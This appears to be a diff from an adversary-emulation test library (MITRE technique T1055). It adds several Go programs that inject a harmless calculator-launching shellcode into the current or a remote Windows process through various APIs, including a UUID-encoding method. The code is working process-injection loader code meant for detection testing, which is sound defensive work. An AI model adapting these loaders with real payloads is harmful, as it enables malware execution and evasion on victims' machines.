*pid)) + } + +} + +// export GOOS=windows GOARCH=amd64;go build -o CreateRemoteThread.exe ./CreateRemoteThread.go diff --git a/atomics/T1055/src/x64/CreateRemoteThreadNative.go b/atomics/T1055/src/x64/CreateRemoteThreadNative.go new file mode 100644 index 00000000..1767bc2a --- /dev/null +++ b/atomics/T1055/src/x64/CreateRemoteThreadNative.go @@ -0,0 +1,134 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateRemoteThreadNative/main.go + +/* +This program executes shellcode in a remote process using the following steps + 1. Get a handle to the target process + 1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write + 2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process + 3. Change the memory page permissions to Execute/Read with VirtualProtectEx + 4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread + 5. Close the handle to the remote process + +This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. +*/ + +package main + +import ( + "encoding/hex" + "flag" + "fmt" + "log" + "os" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + // To hardcode the Process Identifier (PID), change 0 to the PID of the target process + pid := flag.Int("pid", 0, "Process ID to inject shellcode into") + flag.Usage = func() { + flag.PrintDefaults() + os.Exit(0) + } + flag.Parse() + + // Pop Calc Shellcode + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + + OpenProcess := kernel32.NewProc("OpenProcess") + VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx") + CloseHandle := kernel32.NewProc("CloseHandle") + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid)) + } + pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid))) + + if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid)) + } + addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAllocEx failed and returned 0") + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid)) + } + _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid)) + } + oldProtect := windows.PAGE_READWRITE + _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid)) + } + _, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0) + if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid)) + } + _, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle))) + if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid)) + } + +} + +// export GOOS=windows GOARCH=amd64;go build -o CreateRemoteThreadNative.exe ./CreateRemoteThreadNative.go diff --git a/atomics/T1055/src/x64/CreateThread.go b/atomics/T1055/src/x64/CreateThread.go new file mode 100644 index 00000000..625395cb --- /dev/null +++ b/atomics/T1055/src/x64/CreateThread.go @@ -0,0 +1,112 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateThread/main.go + +/* +This program executes shellcode in the current process using the following steps + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Call CreateThread on shellcode address + 5. Call WaitForSingleObject so the program does not end before the shellcode is executed + +This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them +*/ + +package main + +import ( + "encoding/hex" + "flag" + "fmt" + "log" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + flag.Parse() + + // Pop Calc Shellcode + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + if *debug { + fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode") + } + addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if errVirtualAlloc != nil { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAlloc failed and returned 0") + } + + if *verbose { + fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode))) + } + + if *debug { + fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory") + } + ntdll := windows.NewLazySystemDLL("ntdll.dll") + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") + _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error())) + } + + if *verbose { + fmt.Println("[-]Shellcode copied to memory") + } + + if *debug { + fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ") + } + var oldProtect uint32 + errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect) + if errVirtualProtect != nil { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ") + } + + if *debug { + fmt.Println("[DEBUG]Calling CreateThread...") + } + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + CreateThread := kernel32.NewProc("CreateThread") + thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0) + + if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error())) + } + if *verbose { + fmt.Println("[+]Shellcode Executed") + } + + if *debug { + fmt.Println("[DEBUG]Calling WaitForSingleObject...") + } + + event, errWaitForSingleObject := windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF) + if errWaitForSingleObject != nil { + log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]WaitForSingleObject returned with %d", event)) + } +} + +// export GOOS=windows GOARCH=amd64;go build -o CreateThread.exe ./CreateThread.go diff --git a/atomics/T1055/src/x64/CreateThreadNative.go b/atomics/T1055/src/x64/CreateThreadNative.go new file mode 100644 index 00000000..b28fc737 --- /dev/null +++ b/atomics/T1055/src/x64/CreateThreadNative.go @@ -0,0 +1,132 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateThreadNative/main.go + +/* +This program executes shellcode in the current process using the following steps + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Call CreateThread on shellcode address + 5. Call WaitForSingleObject so the program does not end before the shellcode is executed + +This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. +*/ + +package main + +import ( + "encoding/hex" + "flag" + "fmt" + "log" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +const ( + // MEM_COMMIT is a Windows constant used with Windows API calls + MEM_COMMIT = 0x1000 + // MEM_RESERVE is a Windows constant used with Windows API calls + MEM_RESERVE = 0x2000 + // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls + PAGE_EXECUTE_READ = 0x20 + // PAGE_READWRITE is a Windows constant used with Windows API calls + PAGE_READWRITE = 0x04 +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + flag.Parse() + + // Pop Calc Shellcode + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + if *debug { + fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll") + } + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + if *debug { + fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures") + } + VirtualAlloc := kernel32.NewProc("VirtualAlloc") + VirtualProtect := kernel32.NewProc("VirtualProtect") + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") + CreateThread := kernel32.NewProc("CreateThread") + WaitForSingleObject := kernel32.NewProc("WaitForSingleObject") + + if *debug { + fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode") + } + addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAlloc failed and returned 0") + } + + if *verbose { + fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode))) + } + + if *debug { + fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory") + } + _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode copied to memory") + } + + if *debug { + fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ") + } + + oldProtect := PAGE_READWRITE + _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ") + } + + if *debug { + fmt.Println("[DEBUG]Calling CreateThread...") + } + //var lpThreadId uint32 + thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0) + + if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error())) + } + if *verbose { + fmt.Println("[+]Shellcode Executed") + } + + if *debug { + fmt.Println("[DEBUG]Calling WaitForSingleObject...") + } + + _, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF) + if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error())) + } +} + +// export GOOS=windows GOARCH=amd64;go build -o CreateThreadNative.exe ./CreateThreadNative.go diff --git a/atomics/T1055/src/x64/EtwpCreateEtwThread.go b/atomics/T1055/src/x64/EtwpCreateEtwThread.go new file mode 100644 index 00000000..286da27c --- /dev/null +++ b/atomics/T1055/src/x64/EtwpCreateEtwThread.go @@ -0,0 +1,135 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/EtwpCreateEtwThread/main.go + +/* +This program executes shellcode in the current process using the following steps + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Call EtwpCreateEtwThread on shellcode address + 5. Call WaitForSingleObject so the program does not end before the shellcode is executed + +This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. +*/ + +// Demonstrates using ntdll.dll!EtwpCreateThreadEtw for local shellcode execution: https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3 + +package main + +import ( + "encoding/hex" + "flag" + "fmt" + "log" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +const ( + // MEM_COMMIT is a Windows constant used with Windows API calls + MEM_COMMIT = 0x1000 + // MEM_RESERVE is a Windows constant used with Windows API calls + MEM_RESERVE = 0x2000 + // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls + PAGE_EXECUTE_READ = 0x20 + // PAGE_READWRITE is a Windows constant used with Windows API calls + PAGE_READWRITE = 0x04 +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + flag.Parse() + + // Pop Calc Shellcode + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + if *debug { + fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll") + } + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + if *debug { + fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures") + } + VirtualAlloc := kernel32.NewProc("VirtualAlloc") + VirtualProtect := kernel32.NewProc("VirtualProtect") + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") + EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread") + WaitForSingleObject := kernel32.NewProc("WaitForSingleObject") + + if *debug { + fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode") + } + addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAlloc failed and returned 0") + } + + if *verbose { + fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode))) + } + + if *debug { + fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory") + } + _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode copied to memory") + } + + if *debug { + fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ") + } + + oldProtect := PAGE_READWRITE + _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())) + } + if *verbose { + fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ") + } + + if *debug { + fmt.Println("[DEBUG]Calling EtwpCreateEtwThread...") + } + //var lpThreadId uint32 + thread, _, errEtwThread := EtwpCreateEtwThread.Call(addr, uintptr(0)) + + if errEtwThread != nil && errEtwThread.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling EtwpCreateEtwThread:\r\n%s", errEtwThread.Error())) + } + + if *verbose { + fmt.Println("[+]Shellcode Executed") + } + + if *debug { + fmt.Println("[DEBUG]Calling WaitForSingleObject...") + } + + _, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF) + if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error())) + } +} + +// export GOOS=windows GOARCH=amd64;go build -o EtwpCreateEtwThread.exe ./EtwpCreateEtwThread.go diff --git a/atomics/T1055/src/x64/RtlCreateUserThread.go b/atomics/T1055/src/x64/RtlCreateUserThread.go new file mode 100644 index 00000000..3f772220 --- /dev/null +++ b/atomics/T1055/src/x64/RtlCreateUserThread.go @@ -0,0 +1,137 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/RtlCreateUserThread/main.go + +/* +This program executes shellcode in a remote process using the following steps + 1. Get a handle to the target process + 1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write + 2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process + 3. Change the memory page permissions to Execute/Read with VirtualProtectEx + 4. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread + 5. Close the handle to the remote process + +This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. +*/ + +package main + +import ( + "encoding/hex" + "flag" + "fmt" + "log" + "os" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + // To hardcode the Process Identifier (PID), change 0 to the PID of the target process + pid := flag.Int("pid", 0, "Process ID to inject shellcode into") + flag.Usage = func() { + flag.PrintDefaults() + os.Exit(0) + } + flag.Parse() + + // Pop Calc Shellcode + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + OpenProcess := kernel32.NewProc("OpenProcess") + VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread") + CloseHandle := kernel32.NewProc("CloseHandle") + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid)) + } + pHandle, _, errOpenProcess := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(*pid))) + + if errOpenProcess != nil && errOpenProcess.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid)) + } + addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAllocEx failed and returned 0") + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid)) + } + _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid)) + } + oldProtect := windows.PAGE_READWRITE + _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling RtlCreateUserThread on PID %d...", *pid)) + } + var tHandle uintptr + _, _, errRtlCreateUserThread := RtlCreateUserThread.Call(uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0) + + if errRtlCreateUserThread != nil && errRtlCreateUserThread.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling RtlCreateUserThread:\r\n%s", errRtlCreateUserThread.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully called RtlCreateUserThread on PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid)) + } + _, _, errCloseHandle := CloseHandle.Call(uintptr(uint32(pHandle))) + if errCloseHandle != nil && errCloseHandle.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", *pid)) + } + +} + +// export GOOS=windows GOARCH=amd64;go build -o RtlCreateUserThread.exe ./RtlCreateUserThread.go diff --git a/atomics/T1055/src/x64/UuidFromStringA.go b/atomics/T1055/src/x64/UuidFromStringA.go new file mode 100644 index 00000000..e987a03a --- /dev/null +++ b/atomics/T1055/src/x64/UuidFromStringA.go @@ -0,0 +1,206 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/UuidFromString/main.go +// Concept pulled from https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ + +/* + This program executes shellcode in the current process using the following steps: + 1. Create a Heap and allocate space + 2. Convert shellcode into an array of UUIDs + 3. Load the UUIDs into memory (on the allocated heap) by (ab)using the UuidFromStringA function + 4. Execute the shellcode by (ab)using the EnumSystemLocalesA function +*/ + +// Reference: https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala + +package main + +import ( + // Standard + "bytes" + "encoding/binary" + "encoding/hex" + "flag" + "fmt" + "log" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" + + // 3rd Party + "github.com/google/uuid" +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + flag.Parse() + + // Pop Calc Shellcode + shellcode, err := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if err != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", err)) + } + + // Convert shellcode to UUIDs + if *debug { + fmt.Println("[DEBUG]Converting shellcode to slice of UUIDs") + } + + uuids, err := shellcodeToUUID(shellcode) + if err != nil { + log.Fatal(err.Error()) + } + + if *debug { + fmt.Println("[DEBUG]Loading kernel32.dll & Rpcrt4.dll") + } + kernel32 := windows.NewLazySystemDLL("kernel32") + rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll") + + if *debug { + fmt.Println("[DEBUG]Loading HeapCreate, HeapAlloc, EnumSystemLocalesA, and UuidToStringA procedures") + } + heapCreate := kernel32.NewProc("HeapCreate") + heapAlloc := kernel32.NewProc("HeapAlloc") + enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA") + uuidFromString := rpcrt4.NewProc("UuidFromStringA") + + /* https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapcreate + HANDLE HeapCreate( + DWORD flOptions, + SIZE_T dwInitialSize, + SIZE_T dwMaximumSize + ); + HEAP_CREATE_ENABLE_EXECUTE = 0x00040000 + */ + + // Create the heap + // HEAP_CREATE_ENABLE_EXECUTE = 0x00040000 + heapAddr, _, err := heapCreate.Call(0x00040000, 0, 0) + if heapAddr == 0 { + log.Fatal(fmt.Sprintf("there was an error calling the HeapCreate function:\r\n%s", err)) + + } + + if *verbose { + fmt.Println(fmt.Sprintf("Heap created at: 0x%x", heapAddr)) + } + + /* https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc + DECLSPEC_ALLOCATOR LPVOID HeapAlloc( + HANDLE hHeap, + DWORD dwFlags, + SIZE_T dwBytes + ); + */ + + // Allocate the heap + addr, _, err := heapAlloc.Call(heapAddr, 0, 0x00100000) + if addr == 